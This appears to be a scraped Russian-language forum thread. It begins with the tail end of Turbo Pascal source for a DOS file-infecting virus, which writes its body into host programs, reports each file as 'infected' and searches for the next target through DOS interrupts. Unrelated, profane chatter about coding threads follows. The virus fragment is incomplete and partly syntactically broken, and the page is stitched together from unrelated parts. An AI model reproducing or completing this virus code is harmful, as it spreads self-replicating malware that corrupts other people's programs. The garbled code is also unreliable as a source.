- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.
Follow us!
> Язык высокого уровня Паскаль, а особенно Турбо-Паскаль, в
силу своей близости к машинному языку...
моя мышка зашлась в истерике
UPD Хотя и хрен с ними, в таких ветвях действительно ничего толкового.
какие ветви
>какие ветви
На сегодня все, я спать.
у меня будет свой говнокод
я все равно сделаю как мне больше нравится, но я буду ориентироваться, что делать, а что нах не надо.
например, я не хочу делать Сток в таком виде, в каком он есть здесь (и пока я вообще его не делаю)
на хабре шоле? т.к. они ж полезут точно так же туда
Да в принципе, зачем уводить народ куда либо отсюда. Сделать отдельный ГК-тред и писать там. Педиастры не страшны, скриптом же поделились добрые люди. All hided.
интересно, задамплено ли всё наложенное там
прятаться от этого полуебка - пораженчество